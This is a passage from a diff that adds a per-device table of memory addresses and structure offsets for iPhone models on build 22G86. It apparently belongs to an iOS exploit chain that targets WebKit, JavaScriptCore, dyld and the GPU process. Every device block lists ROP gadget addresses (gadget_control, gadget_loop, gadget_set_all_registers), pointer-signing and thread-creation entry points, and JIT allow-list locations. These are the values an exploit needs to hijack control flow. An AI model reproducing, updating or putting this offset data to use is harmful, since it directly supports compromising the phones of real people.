0x1ed7d6c60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d6c68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d6c70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d6bb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d6c78n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x21887d820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23cb0f8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc59870n, + libsystem_c__atexit_mutex : 0x1ed6e3218n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d03c000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e2480n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25797be60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d042988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271f24000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed877228n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883ff8n, + WebCore__initPKContact_value : 0x1ed884000n, + WebCore__PAL_getPKContactClass : 0x1ed87b4b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8827d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8827c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8827b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed878400n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone16,1_22G86": { + __pthread_head : 0x26a720020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa9e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1776560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa4d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fa430n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa480n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9878n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfb0470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfb05c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7fd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf8022cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf80790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf8034cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e99b70n, + DesktopServicesPriv_bss : 0x1ecacd5a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f5fc8n, + dyld__RuntimeState_emptySlot : 0x1a9637b6cn, + dyld__RuntimeState_vtable : 0x1f2693fb0n, + dyld__signPointer : 0x1a96013e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708708n, + free_slabs : 0x1ed7c1e90n, + gadget_control_1_ios184 : 0x23ed712ecn, + gadget_control_2_ios184 : 0x1ad430c28n, + gadget_control_3_ios184 : 0x21f039150n, + gadget_loop_1_ios184 : 0x18660c5dcn, + gadget_loop_2_ios184 : 0x20cff5ce8n, + gadget_loop_3_ios184 : 0x184d3df1cn, + gadget_set_all_registers_ios184 : 0x20dd6e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f7a4e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7db0b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7dad60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7dad68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7dad70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7dacb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7dad78n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866682cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ee8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a102000n, + libARI_cstring : 0x218885820n, + libdyld__dlopen : 0x1ad4327b8n, + libdyld__dlsym : 0x1ad433a34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cb138b4n, + libGPUCompilerImplLazy_cstring : 0x23bc5d870n, + libsystem_c__atexit_mutex : 0x1ed6e7318n, + libsystem_kernel__thread_suspend : 0x1d39f71c0n, + libsystem_pthread_base : 0x20d044000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6580n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba82d744n, + PerfPowerServicesReader_cstring : 0x25812fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d04a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a6830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x272e34000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87b328n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ee930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b602c00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a630n, + WebCore__initPKContact_once : 0x1ed8880f8n, + WebCore__initPKContact_value : 0x1ed888100n, + WebCore__PAL_getPKContactClass : 0x1ed87f5b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8868d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8868c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8868b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da6e34n, + WebProcess_gpuProcessConnectionClosed : 0x199772c4cn, + WebProcess_singleton : 0x1ed87c500n, + WebCore__HTMLDocument_vtable : 0x1f10dda68n, + }, + "iPhone16,2_22G86": { + __pthread_head : 0x26a720020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa9e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1776560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa4d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fa430n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa480n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9878n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfb0470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfb05c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7fd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf8022cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf80790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf8034cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e99b70n, + DesktopServicesPriv_bss : 0x1ecacd5a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f5fc8n, + dyld__RuntimeState_emptySlot : 0x1a9637b6cn, + dyld__RuntimeState_vtable : 0x1f2693fb0n, + dyld__signPointer : 0x1a96013e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708708n, + free_slabs : 0x1ed7c1e90n, + gadget_control_1_ios184 : 0x23ed712ecn, + gadget_control_2_ios184 : 0x1ad430c28n, + gadget_control_3_ios184 : 0x21f039150n, + gadget_loop_1_ios184 : 0x18660c5dcn, + gadget_loop_2_ios184 : 0x20cff5ce8n, + gadget_loop_3_ios184 : 0x184d3df1cn, + gadget_set_all_registers_ios184 : 0x20dd6e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f7a4e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7db0b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7dad60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7dad68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7dad70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7dacb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7dad78n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866682cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ee8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a102000n, + libARI_cstring : 0x218885820n, + libdyld__dlopen : 0x1ad4327b8n, + libdyld__dlsym : 0x1ad433a34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cb138b4n, + libGPUCompilerImplLazy_cstring : 0x23bc5d870n, + libsystem_c__atexit_mutex : 0x1ed6e7318n, + libsystem_kernel__thread_suspend : 0x1d39f71c0n, + libsystem_pthread_base : 0x20d044000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6580n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba82d744n, + PerfPowerServicesReader_cstring : 0x25812fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d04a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a6830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x272e34000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87b328n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ee930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b602c00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a630n, + WebCore__initPKContact_once : 0x1ed8880f8n, + WebCore__initPKContact_value : 0x1ed888100n, + WebCore__PAL_getPKContactClass : 0x1ed87f5b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8868d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8868c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8868b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da6e34n, + WebProcess_gpuProcessConnectionClosed : 0x199772c4cn, + WebProcess_singleton : 0x1ed87c500n, + WebCore__HTMLDocument_vtable : 0x1f10dda68n, + }, + "iPhone17,1_22G86": { + __pthread_head : 0x269ff8020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa9e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1776560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa4d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fa430n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa480n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9878n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfb0470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfb05c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7fd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf8022cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf80790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf8034cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e99b70n, + DesktopServicesPriv_bss : 0x1ecacd5a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f5fc8n, + dyld__RuntimeState_emptySlot : 0x1a9637b6cn, + dyld__RuntimeState_vtable : 0x1f2693fb0n, + dyld__signPointer : 0x1a96013e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708708n, + free_slabs : 0x1ed7c1e90n, + gadget_control_1_ios184 : 0x23ed712ecn, + gadget_control_2_ios184 : 0x1ad430c28n, + gadget_control_3_ios184 : 0x21f039150n, + gadget_loop_1_ios184 : 0x18660c5dcn, + gadget_loop_2_ios184 : 0x20cff5ce8n, + gadget_loop_3_ios184 : 0x184d3df1cn, + gadget_set_all_registers_ios184 : 0x20dd6e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f7a4e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7db0b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7dad60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7dad68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7dad70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7dacb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7dad78n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866682cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ee8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a102000n, + libARI_cstring : 0x218885820n, + libdyld__dlopen : 0x1ad4327b8n, + libdyld__dlsym : 0x1ad433a34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cb138b4n, + libGPUCompilerImplLazy_cstring : 0x23bc5d870n, + libsystem_c__atexit_mutex : 0x1ed6e7318n, + libsystem_kernel__thread_suspend : 0x1d39f71c0n, + libsystem_pthread_base : 0x20d044000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6580n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba82d744n, + PerfPowerServicesReader_cstring : 0x257a0fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d04a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a6830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x2726f4000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87b328n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ee930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b602c00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a630n, + WebCore__initPKContact_once : 0x1ed8880f8n, + WebCore__initPKContact_value : 0x1ed888100n, + WebCore__PAL_getPKContactClass : 0x1ed87f5b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8868d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8868c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8868b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da6e34n, + WebProcess_gpuProcessConnectionClosed : 0x199772c4cn, + WebProcess_singleton : 0x1ed87c500n, + WebCore__HTMLDocument_vtable : 0x1f10dda68n, + }, + "iPhone17,2_22G86": { + __pthread_head : 0x269ff8020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa9e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1776560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa4d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fa430n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa480n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9878n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfb0470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfb05c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7fd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf8022cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf80790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf8034cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e99b70n, + DesktopServicesPriv_bss : 0x1ecacd5a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f5fc8n, + dyld__RuntimeState_emptySlot : 0x1a9637b6cn, + dyld__RuntimeState_vtable : 0x1f2693fb0n, + dyld__signPointer : 0x1a96013e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708708n, + free_slabs : 0x1ed7c1e90n, + gadget_control_1_ios184 : 0x23ed712ecn, + gadget_control_2_ios184 : 0x1ad430c28n, + gadget_control_3_ios184 : 0x21f039150n, + gadget_loop_1_ios184 : 0x18660c5dcn, + gadget_loop_2_ios184 : 0x20cff5ce8n, + gadget_loop_3_ios184 : 0x184d3df1cn, + gadget_set_all_registers_ios184 : 0x20dd6e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f7a4e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7db0b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7dad60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7dad68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7dad70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7dacb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7dad78n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866682cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ee8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a102000n, + libARI_cstring : 0x218885820n, + libdyld__dlopen : 0x1ad4327b8n, + libdyld__dlsym : 0x1ad433a34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cb138b4n, + libGPUCompilerImplLazy_cstring : 0x23bc5d870n, + libsystem_c__atexit_mutex : 0x1ed6e7318n, + libsystem_kernel__thread_suspend : 0x1d39f71c0n, + libsystem_pthread_base : 0x20d044000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6580n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba82d744n, + PerfPowerServicesReader_cstring : 0x257a0fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d04a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a6830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x2726f4000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87b328n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ee930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b602c00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a630n, + WebCore__initPKContact_once : 0x1ed8880f8n, + WebCore__initPKContact_value : 0x1ed888100n, + WebCore__PAL_getPKContactClass : 0x1ed87f5b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8868d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8868c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8868b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da6e34n, + WebProcess_gpuProcessConnectionClosed : 0x199772c4cn, + WebProcess_singleton : 0x1ed87c500n, + WebCore__HTMLDocument_vtable : 0x1f10dda68n, + }, + "iPhone17,3_22G86": { + __pthread_head : 0x2699a0020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f68e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f63d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f6330n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f6380n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f5778n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 